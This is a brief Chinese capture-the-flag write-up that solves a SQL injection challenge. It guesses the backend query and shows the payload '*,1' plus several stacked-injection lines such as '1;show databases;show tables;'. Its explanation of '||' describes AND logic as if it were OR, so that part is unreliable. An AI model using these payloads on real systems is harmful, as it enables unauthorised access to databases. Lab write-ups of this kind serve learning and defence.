根据题目的提示这是一个sql注入的题目所以我们就尝试sql注入
先输入1,发现有回显
返回的数组,再加上给的语句Give me your flag, I will tell you if the flag is right.,推出有flag from flag,因为需要验证flag是否正确,可以猜测出sql语句可能是
select $_POST['query'] || flag from flag
补充 || = or的相关知识,
command1 || command2
两个有一假,则全为假,只有全真为真。
使用短路语法就可以读出flag
select *,1 from flag
解释一下这句sql语句
- SELECT *: 这会选择 flag 表中的所有列。
- , 1: 这会在结果集中添加一个额外的列,该列对于 flag 表中的每一行都有一个值 1。
还有一种就是堆叠注入
1; show databases;
1;show databases;show tables;
1;show databases;show tables;use test;show columns from Flag;
但是from被过滤了,所以戛然而止
目前就这么多